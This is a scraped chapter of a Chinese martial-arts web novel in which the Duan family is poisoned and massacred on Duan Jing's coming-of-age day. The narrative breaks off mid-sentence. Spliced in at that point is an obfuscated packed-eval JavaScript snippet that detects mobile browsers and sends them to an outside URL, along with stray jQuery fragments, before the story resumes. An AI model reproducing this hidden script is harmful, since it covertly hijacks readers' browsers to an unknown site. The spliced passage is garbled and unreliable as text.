69.灭门(1)

作品:《醉里挑灯看美人

    店小二在一旁点头哈腰的陪笑着:“谁说不是呢。”


    “不过,小的看来,这谢劲飞想必应是听闻了二公子的九曜阙和飞花剑法,他是个武痴,来瞿溪找二公子比试,小的觉得,也正常不过。”


    可段镜没那个耐心陪着他们玩,他扔下银子,道了声谢就离开了泰福楼。


    “你的意思是,天主教和西域的人已经离开了瞿溪?”


    段海在听见段镜带来的消息后,陷入了沉思。


    “如今知晓你生辰那日便是武林大会这事的人,除了几大派的掌权人外,无人知晓,看来,西域和天主教的人并没有收到消息。”


    段镜:“爹是怀疑几大派的掌权人里有天主教和西域的人?”


    段海:“之前有怀疑过,现在看来,应是我多想了。”


    段镜总觉得事情没那么简单,临近生辰,他越发感到不安,但是却迟迟找不到这股不安的源头。


    段镜生辰那日,为了不打草惊蛇,武林大会定在晚上,午时未至,会客厅内已摆好宴席,整个段家张灯结彩,好不热闹。


    金潇去张罗师兄弟和师姐妹,段海则在书房处理事务,生辰宴的本尊仗着今日他最大,睡到日上三竿还未起,段时为此是操碎了心,但他今日肚子不舒服,跑了好几趟茅厕,至今还腿抖。


    及冠礼按照祖制,要进祠堂上香。


    段镜睡醒后穿戴好,何秀云便来为他梳洗束冠,今日他穿了身张扬似火的红衣,质地上乘,乃是他平日里最爱穿的云锦。


    他本就生得好看,如玉的面庞上带着肆意的笑,秀眉微扬,斜飞入鬓,凤眸里带着抹促狭。


    “奶娘看起来有心事,是还在怪我将程珂赶出了段府吗?”


    段镜向来心思敏捷,见镜中何秀云的面上没有平日随和,想来想去,应当还是因为程珂了。


    何秀云梳头的手顿了顿,她脸上很快露出一抹不自然的笑容来:“今日可是淮允及冠的大好日子,旁的事都不要紧,先去祠堂走了仪式来。”


    段镜本想追问两句,但也想到今日是自己的生辰,别的事可以留到明日再来处理的。


    天曜盟的规矩不多,去宗祠也只是走个仪式,很快便结束了,正到午时,宴会开始,段镜却迟迟未见到段时,他问向一旁的小厮:“我兄长呢?方才行了冠礼后就不见人了。”


    “二公子,大公子他如厕去了。”


    段镜:“行吧,既然身体不舒服,还是派人送他先回房休息吧。”


    一直到宴会结束都风平浪静,而这只是风雨来临的前兆,在段镜的回忆里,噩梦开始的时候,刚过酉时。


    天幕渐渐低沉,段家刚差人点燃火烛,府门便被人敲响,徐则贵匆匆赶去前厅开门,沉闷的大门吱呀一声响,缓缓向内打开。


    这个时辰,来赴约武林大会的几大派也该到了,徐则贵开门后,没有等来几大派的掌权人,却等来一群灭了段家满门的恶鬼。


    徐则贵也算是见多识广,见为首之人不是凌岳山山主,当即面色一变,沉声道:“你们,你们是谁?”


    “谢劲飞,把你家二公子叫出来。”


    为首之人看起来不过而立之年,面容冷峻,面上不苟言笑,眼里没有丝毫温度。


    他身后背着一把古朴的大刀,说话间,已经取下了大刀,插在地上,冷冷逼视着徐则贵:“让开。”


    男人身上迫人的气势令徐则贵都不禁胆寒,他自然是听说过谢劲飞的名号,只是不曾想,这人竟会专挑这个时候来上门闹事。


    “今日我家二公子及冠,尔等休要放肆。”


    “你们天曜盟不是号称武林第一世家吗?落华公子更是享负盛名,怎么如今倒做起了缩头乌龟。”


    也不知是谁起哄了一句,后面跟着的几大派弟子立时哄堂大笑。


    闻声而来的段镜见徐则贵脸色铁青,正要发作,他也听见了那些嘲笑声,不禁微微蹙眉,抬手拍了拍徐则贵的肩头。


    徐则贵气得涨红了脸本想理论两句,发觉段镜来了,忙按捺住脾气,恭谨道:“二公子,有人闹事。”


    段镜凌厉的目光扫向门口众人,这些人武功都不低,现下想要关门闭客显然不可能。


    他正待开口质问,为首的谢劲飞见着段镜,眸光陡然变得炽热无比,他二话不说,拔刀而起,赫然向着段镜劈下。


    “你就是段镜!哈,来吃我一刀。”


    段镜没想到这人竟然蛮不讲理至此,忙抽身后退避开一刀,同时厉声出口:“你们究竟是何人?”


    这群人里,有几大派的人,但为首这人,自己并不认识。


    谢劲飞眼里只有对战胜段镜的渴望,压根不理会他的问题。


    两人很快交手,段镜发现这人内力很强,刀又快又稳,几乎能与他打成平手。


    而随着谢劲飞和段镜交手,门口的一众人马也霎时拔剑出手,徐则贵武功不差,匆忙抵挡间,已经顾不得守好大门。


    今日正逢段镜生辰,全府上下几乎都去贺生辰了,门口只守着零星几个护卫。


    几大派的弟子杀进段府时,段镜只觉内力不济,紧跟着小腹传来尖锐的刺痛,内力如抽丝剥茧间渐渐消退。


    他疼得面色惨白,眼见着谢劲飞下一招已经逼近,他却连提剑的气力都没有。


    千钧一发之际,只听段时高喝一声,流光剑脱手而出挡住了那致命的一刀。


    谢劲飞后退两步,刚站定好,就有一人上前凑到他耳边对他说:“主上有令,留段镜一条命在,你可别下手太重,将人给打死了。”


    谢劲飞蹙了蹙眉,十分不满有人对他指手画脚,顿时不耐烦道:“知道了。”


    段镜狼狈的半跪在地,以剑撑地才勉强不倒下,他难以置信的看向谢劲飞,疼得满头都是冷汗。


    他很快反应过来,侧首冲着段时目眦欲裂的喊道:“兄长!快去看爹和娘!”


    “有人在酒菜里下毒,我如今内力尽失。”


    段时闻言一惊:“那你怎么办?”


    小腹处钻心的刺痛令他疼得几乎说不出话来,段镜大口大口呼吸着,冷汗顺着额角扑簌簌滴落在眼捷上,眼前都开始变得模糊。


    他还不能倒下,这些人是冲着段家来的,他要挡住他们,不能让他们去找爹娘。


    段镜握紧了手


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221506|156681||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    中的落华,目光锐利而坚定:“我来挡住他们,你去护好爹娘。”


    眼前之人是自己的胞弟,身后是生养他的双亲,段时一时陷入了两难之境,他颤抖着唇,手中的流光似乎能感受到主人内心的挣扎,发出了阵阵嗡鸣声。


    “不!我不能弃你于不顾。”


    段时很快下定好决心,他不顾段镜的抗议,俯身扶起人,让他靠在假山石上,自己则提剑迎上谢劲飞。


    段镜挣扎着,想要起身与段时一同抗敌,可他低估了这毒的效用,毒性发作得很快,已经进入他的七筋八络,将他的内力牢牢封死,更甚者,这毒还能麻痹他的行动,身上几乎用不了劲。


    模糊的视线里,是谢劲飞与段时厮杀的背影,这人武功很强,段时的九曜阙只练到了第五重,根本不是谢劲飞的对手。


    可即使如此,他依旧咬牙挡在最前,即便早已遍体鳞伤。


    “兄长…不要,不要再打了,你走啊!”


    段镜的声音已经变得沙哑,他拼了命的想要劝段时离开,可却唤不来他的回头。


    几大派的弟子已经攻进了宴会厅,耳边是厮杀声,没了内力和反抗能力的段家人,根本不是这些人的对手。


    段镜心中如针扎般难受,他开始害怕,害怕看见爹娘的尸体,也害怕看见段时倒在他眼前。


    “二公子!快跟老奴离开这里!留得青山在不怕没柴烧啊。”


    徐则贵不知何时来到了段镜身侧,他身上全是斑斑血迹,想来受伤不轻。


    段镜恍惚回头看他,喃喃着:“不,我不走!我爹娘还在这儿,你看见我兄长了吗!他为了救我,就快死了。”


    徐则贵闻言顿时老泪纵横,可他顾不得伤心,忙吃力的拽起段镜的手:“二公子糊涂啊,你是段家唯一的指望,你若是死了,段家就真的完了,老奴现在就送你离开。”


    段镜反手扣住他的手,眼中含泪:“不行,我要带着兄长一起走。”


    段时早已战至脱力,手中的剑开始不稳,他分不清杀了多少人,对面的谢劲飞就像是逗他玩似的,时不时在他身上砍上一刀,伤口不深,并不致命,但伤口越多,失血就越严重。


    段时始终拼着一口气咬牙坚持着,一直到对面告诉他,段海和金潇已经被杀死后,脑中紧绷的那根弦才彻底断掉。


    “你说什么!你胡说!我爹娘不会死的。”


    闻声而来的段镜就站在段时身后。


    他倒转运功,强行提力,生生聚起三成内力,却不想听见了此等噩耗,霎时脸色如纸一般惨白。


    段镜的身形在萧瑟的寒风中看起来摇摇欲坠,天幕已然暗沉,月色下,落华剑上覆盖着一层淡淡的雪色光华。


    谢劲飞同样看着段镜,微微赤红的眸子冷冷与之对视,随即冷冷道:“你中了毒,不是我的对手,只要你对我下跪认输,我可以放过你兄长。”


    段时哼笑一声,随后抬手擦去嘴角的血迹,见段镜目光闪烁,眸中悲凄,隐隐有要走火入魔的征兆,忙喝道:


    “淮允!大丈夫不惧生死,绝不能向这等宵小认输!我段家儿郎,宁可站着死,也不能跪着生。”